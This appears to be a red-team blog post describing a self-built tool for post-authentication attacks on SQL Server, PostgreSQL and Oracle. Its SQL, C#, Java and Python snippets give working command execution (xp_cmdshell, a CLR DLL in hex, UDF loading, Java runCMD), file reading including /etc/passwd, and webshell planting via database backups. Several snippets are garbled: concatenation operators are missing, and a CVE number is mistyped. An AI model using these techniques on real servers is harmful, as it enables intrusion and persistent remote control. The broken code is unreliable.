0x00 前言
起因是在某红队项目中,获取到Oracle数据库密码后,利用Github上的某数据库利用工具连接后,利用时执行如 tasklist /svc
、net user
等命令时出现 ORA-24345
: 出现截断或空读取错误,且文件管理功能出现问题,无法上传webshell,因此萌生了重写利用工具的想法。
大概耗时十天,顺带手把 postgresql 和 sql server 这两个护网中的常见数据库的利用也写了。
因为要做图形化,所以选择使用 C#
。
github地址:https://github.com/Ryze-T/Sylas
0x01 Sql Server
1.1 文件查看
目录查看
sql server 的目录查看比较简单,代码为:
代码语言:javascript复制sqlCmd.CommandText = String.Format("exec xp_dirtree '{0}',1,1",path);
第一个 1 指的是目录深度,只看查询文件夹下的,不再列出更深层次的目录,第二个 1 指的是将文件也列出来
文件查看
文件查看用的是 openrowset()
,在官方文档中有一句话,使用 BULK
可以从文件中读取数据,格式如下:
SELECT * FROM OPENROWSET(
BULK 'C:DATAinv-2017-01-19.csv',
SINGLE_CLOB) AS DATA;
这里有一个 SINGLE_CLOB
,同样可选的选项还有 SINGLE_BLOB
和 SINGLE_NCLOB
,三个的含义是读出的文件内容以 varchar
、varbinary
和 nvarchar
三种格式返回,在 C#
里常用的读取数据库查询返回结果的语句是
SqlDataReader reader = sqlCmd.ExecuteReader();
while (reader.Read())
{
res = reader.GetString(0);
}
因此用 SINGLE_BLOB
可以满足 GetString()
。
1.2 命令执行
命令执行的方法有这里使用了三种:xp_cmdshell
、sp_oacreate
、CLR
。
xp_cmdshell
老生常谈,最通用的方法。
代码语言:javascript复制EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'
sp_oacreate
无回显的方法,也是sqlmap中默认集成的方法之一:
代码语言:javascript复制EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c ping dnslog.cn'
CLR
Microsoft SQL Server 2005之后,微软实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。 CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行。
编写过程如下:
在 visual studio 中安装数据存储和处理工具集:
新建 sql server 数据库项目:
在项目属性中设置创建脚本文件:
在其中编写代码后生成,在生成的文件夹下可以看到一个 sql
文件,打开后其中就有将该 dll
通过十六进制导入到 mssql 中的 sql
语句:
CREATE ASSEMBLY [execCmd]
AUTHORIZATION [dbo]
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释
* FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005045000064860200434309620000000000000000F00022200B023000000C000000040000000000000000000000200000000000800100000000200000000200000400000000000000060000000000000000600000000200000000000003006085000040000000000000400000000000000000100000000000002000000000000000000000100000000000000000000000000000000000000000400000A0020000000000000000000000000000000000000000000000000000342A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000004800000000000000000000002E746578740000006C0B000000200000000C000000020000000000000000000000000000200000602E72737263000000A00200000040000000040000000E00000000000000000000000000004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000200050058220000DC07000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008A00280600000A7201000070721100007002280700000A28020000066F0800000A002A001B300600AF0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0800000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0800000A0000389D00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C15001106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A22518721B000070A22519076F1C00000A13091209282000000AA2251A7253000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0800000A0000067B010000046F1D00000A130A2B00110A2A00011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E0000140300009C03000023537472696E677300000000B00600005C000000235553000C0700001000000023475549440000001C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000C20101000000000006005C01A40206007C01A4020600320191020F00C402000006002603CE010A00460144020E00FF0291020600D501CE0106001602640306001701A4020E00E40291020A00700344020A000F0144020600B001CE010E00ED0191020E00BE0091020E002B0291020600FE01330006000B02330006002400CE01000000002A00000000000100010001001000D3020000150001000100030110000100000015000100040006005A037900482000000000960072007D0001006C2000000000960088001500020038220000000086188B020600040038220000000086188B02060004004122000000008300160082000400000001007A0000000100DE0000000200150300000100240200000200FA0209008B02010011008B02060019008B020A0031008B02060051008B02060061000601100071001F031500690090001B0039008B0206003900DF0132007900D1001B0071008E033700790007031B0079007B033C007900AE00410079009A013C00790071023C0079003F033C0049008B02060089008B02470039005B004D003900390353003900E700060039005F02570099007E005C0039002D0306004100A2005C003900950060002900AE015C004900FB0064004900B7016000A100AE015C0071001F036A0029008B020600590049005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA00200004800000000000000000000000000000000072000000040000000000000000000000700052000000000004000000000000000000000070003D00000000000400000000000000000000007000CE0100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F75747075744461746152656365697665640065786563436D6400636D640052656164546F456E6400436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E6774680065786563436D642E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D70747900000F63006D0064002E00650078006500000920002F006300200000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000000035D5C552B0F5D241BA64075327476EEC0004200101080320000105200101111104000012350500020E0E0E042001010E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000004343096200000000020000001C010000502A0000500C000052534453CBD23558102A184C9F870C819FD401E801000000433A5C55736572735C746573745C4465736B746F705C436F64655C434C525C65786563436D645C65786563436D645C6F626A5C7836345C44656275675C65786563436D642E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000440200000000000000000000440234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004A4010000010053007400720069006E006700460069006C00650049006E0066006F0000008001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D0065000000650078006500630043006D0064002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D0065000000650078006500630043006D0064002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
*/
WITH PERMISSION_SET = UNSAFE;
在执行前打开 CLR
并设置数据库为 trustworthy
:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'clr enabled', 1;RECONFIGURE;
alter database master set trustworthy on
然后执行导出的语句,并创建 procedure
:
CREATE PROCEDURE [dbo].[SqlCmdExec] @cmd NVARCHAR(MAX) AS EXTERNAL NAME[SqlCmdExec].[StoredProcedures].[SqlCmdExec]
通过执行 EXEC SqlCmdExec 'whoami'
可以做到可回显的代码执行:
1.3 写webshell
写 webshell
采用的两种方法:Log备份和差异备份,这两种方法其实都属于有损写文件,因此其中会包含很多其他字符,因此用来写webshell合适,用来当做文件上传的功能不合适,如果想文件上传最合适的其实还是 Ole Automation Procedures,调用 ADODB.Stream。写 webshell前两个就可以满足,更推荐用 Log备份,体积更小。差异备份和Log备份只要是db_owner 就可以满足,并不一定需要 dba。
Log 备份
Log 备份需要先更新数据库为恢复模式,然后创建一个表,提前备份一次后,在表中插入webshell的十六进制,再备份一次,代码如下:
代码语言:javascript复制sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("alter database {0} set RECOVERY FULL;", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.dbo.test7913(a image);", databaseName);
sqlCmd.CommandText = String.Format("backup log {0} to disk = 'c:/windows/temp/xxx.bak' with init;", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(a) values ({1});", databaseName, webshellCode);
sqlCmd.CommandText = String.Format("backup log {0} to disk = '{1}'; ", databaseName, uploadPath);
工具默认给的十六进制webshell
是原版冰蝎3.0的 aspx
版本 webshell
,结果如图:
差异备份
代码如下:
代码语言:javascript复制sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.[dbo].[test7913] ([cmd] [image]);", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(cmd) values({1});",databaseName,webshellCode);
sqlCmd.CommandText = String.Format("backup database {0} to disk='{1}' WITH DIFFERENTIAL,FORMAT;", databaseName, uploadPath);
结果如上图。
0x02 Postgresql
postgresql 相对简单,但是在UDF提权的过程中也有一些坑点
2.1 文件查看
查看目录
代码语言:javascript复制select pg_ls_dir('/')
查看文件
代码语言:javascript复制select pg_read_file('/etc/passwd')
2.2 webshell 上传
代码语言:javascript复制string sql = String.Format("copy (select '{1}') to '{0}';",uploadPath,fileContent);
2.3 命令执行
postgresql 的命令执行有两种,分别是 cve-2019-9193
和 udf 提权
CVE-2919-9193
从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM
功能,允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令
因此利用这个特性可以做到9.3版本后的任意代码执行,具体代码实现:
代码语言:javascript复制CREATE TABLE cmdExec(cmd_output text);COPY cmdExec FROM PROGRAM 'whoami';SELECT * FROM cmdExec;DROP TABLE IF EXISTS cmdExec;
udf
postgresql的UDF提权跟Mysql有区别,由于在动态链接库的编写过程中需要 #include <postgres.h>
,每个版本的 postgres.h
都不一样,因此针对每个版本都需要在特定版本的 postgresql-server
环境下重新编译。正常安装的 postgresql 并不包含 postgres.h,要安装 postgresql-server-dev-xx。
代码在 sqlmap 的 github中,项目名称叫 udfhack。
编译时命令是:
代码语言:javascript复制gcc hack.c -I server_path -fPIC -shared -o udf.so
strip -sx udf.so
此时需要将 udf.so
传入到目标机器中,这里采用的是 lo_create
和 lo_export
。lo_create
的作用是新建一个大型对象并返回该对象的 oid
,lo_export
的作用是导出该对象。对象可以通过 insert
填充内容。
在insert的过程中,需要将 udf.so
分割成 2048b
的若干个文件,转换成十六进制后使用 insert
插入到对象中,这里要分割的原因是因为每一次的 insert
最多只能插入 2048
个字节,若不满会用0
进行填充。
这里附上之前收藏的文件分割的代码和文件转 hex
的代码:
## 文件分割
import sys,os
kilobytes = 1024
megabytes = kilobytes*1000
chunksize = int(200*megabytes)#default chunksize
def split(fromfile,todir,chunksize=chunksize):
if not os.path.exists(todir):#check whether todir exists or not
os.mkdir(todir)
else:
for fname in os.listdir(todir):
os.remove(os.path.join(todir,fname))
partnum = 0
inputfile = open(fromfile,'rb')#open the fromfile
while True:
chunk = inputfile.read(chunksize)
if not chunk: #check the chunk is empty
break
partnum = 1
filename = os.path.join(todir,('partd'%partnum))
fileobj = open(filename,'wb')#make partfile
fileobj.write(chunk) #write data into partfile
fileobj.close()
return partnum
if __name__=='__main__':
fromfile = input('File to be split?')
todir = input('Directory to store part files?')
chunksize = int(input('Chunksize to be split?'))
absfrom,absto = map(os.path.abspath,[fromfile,todir])
print('Splitting',absfrom,'to',absto,'by',chunksize)
try:
parts = split(fromfile,todir,chunksize)
except:
print('Error during split:')
print(sys.exc_info()[0],sys.exc_info()[1])
else:
print('split finished:',parts,'parts are in',absto)
代码语言:javascript复制## file2hex
import binascii,os
fh = open(r"1/part0006", 'rb')
a = fh.read()
hexstr = binascii.b2a_hex(a)
print(hexstr)
SQL实现为:
代码语言:javascript复制SELECT lo_create(1234)
insert into pg_largeobject values (1234, 0, decode('...', 'hex'));
insert into pg_largeobject values (1234, 1, decode('...', 'hex'));
SELECT lo_export(1234, '/tmp/test123.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test123.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id')
部署环境比较麻烦,所以只做了 Linux 下的 postgresql-12 的 udf 提权,作为学习使用
0x03 Oracle
3.1 命令执行
Oracle 命令执行主要使用的是 DBMS_XMLQUERY
和 DBMS_SCHEDULER
。
DBMS_XMLQUERY
利用 DBMS_XMLQUERY.newcontext()
可以执行任意 sql 语句,因此在无需堆叠的情况下,通过 select dbms_xmlquery.newcontext(sql) from dual
就可以创建 JAVA source
和 存储过程实现 JAVA 功能,通过调用可以实现基于JAVA的代码执行。
创建过程如下:
代码语言:javascript复制string sql1 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "SysUtil" as import java.io.*; public class SysUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str =stemp "\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual";
string sql2 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function SysRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''SysUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual";
实现效果如图:
但执行 taklist /svc
仍然会出错,主要是因为在执行命令返回的字符串中存在截断,某些特定的命令,通过 wmic
查询也可以实现,因此设计了快速执行按钮,调用 wmic
实现查询进程、查看用户、查看补丁和查看系统版本,如图:
DBMS_SCHEDULER
DBMS_SCHEDULER
可以定时执行任务,格式如下:
BEGIN DBMS_SCHEDULER.CREATE_JOB(
JOB_NAME=>'xxx',
JOB_TYPE=>'EXECUTABLE',
ENABLED =>TRUE,
AUTO_DROP =>FALSE,
JOB_ACTION=>'{cmd}',
NUMBER_OF_ARGUMENTS => 0)
因此通过此方法可以执行任意命令,但有两个需要注意的点:
- 无回显
- 由于执行时并未规定 cmd 路径,因此执行时输入的命令应为:
ping.exe xxx.dnslog.cn
或cmd.exe /c echo 1 > 1.txt
由于无回显,在现在网上流传的 Oracle 连接工具中都没有判断命令是否执行成功的标识。实际上在 CREATE_JOB
后是可以通过
select job_name,state from user_scheduler_jobs where JOB_NAME = 'xxx';
来判断 JOB 是否创建成功以及是否在运行或者已经运行结束的,因此根据下列逻辑就可以判断出命令是否成功执行:
代码语言:javascript复制while (reader.Read())
{
job_name = reader.GetString(0).ToLower();
job_state = reader.GetString(1).ToLower();
}
if (job_name == "")
{return "0";}
else if (job_state == "running" || job_state == "succeeded")
{return "1";}
else
{return "-1";}
3.2 文件管理
查看目录
查看目录采取的也是 DBMS_XMLQUERY.newcontext()
创建 JAVA source 和 存储过程实现 JAVA功能。
string sql1 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "FileUtil" as import java.io.*; public class FileUtil extends Object{public static String filemanager(String path) {String res = "";try{File file = new File(path);File[] listFiles = file.listFiles();for (File f : listFiles) {if(f.isDirectory()){res = "d --> " f.getName() "\n";}else{res = "f --> " f.getName() "\n";}}return res;}catch(Exception e){return e.toString();}}}'';commit;end;') from dual";
实现如图:
上传文件
从根本上来说,由于可以创建 JAVA source,理论上所有的功能都可以通过这个方法来实现,但是这里上传文件利用的是 utl_file
。
Oracle 官方介绍中也说了, utl_file
可以实现读取或写入操作系统文本文件,由于使用 utl_file.open()
打开文件最大字符数为 32767
,因此上传时最多只能上传 32KB 的文本文件。这个功能用来上传 webshell 已经是足够了。
目标路径只需要填写需要上传的文件夹,点击选择上传后可以打开文件夹选定要上传的文件,上传后的文件名与打开的文件一致,上传成功后 Log窗口会有提示:
代码为:
代码语言:javascript复制string sql = "create or replace directory TESTFILE as '" path "'";
string sql2 = "DECLARE nfilehandle utl_file.file_type;nbeginnfilehandle := utl_file.fopen('TESTFILE', '" filename "', 'w',32767); utl_file.put(filehandle, '" file "');utl_file.fclose(filehandle);end; ";
3.3 后续
由于Oracle 特性,可以做到任意JAVA代码执行,做到这个相当于可以自己写入JAVA代码,完成任意功能,现在网上关于 Oracle 连接利用的工具大多数都是采用这一方法。因此工具后续的目标是把这个功能从固定代码改成可自定义代码,实现一劳永逸的效果。
0x04 参考
2015_06251711341945.pdf (nsfocus.com.cn)
渗透过程中Oracle数据库的利用 Loong716
PostgreSQL入门及提权_weixin_34075268的博客-CSDN博客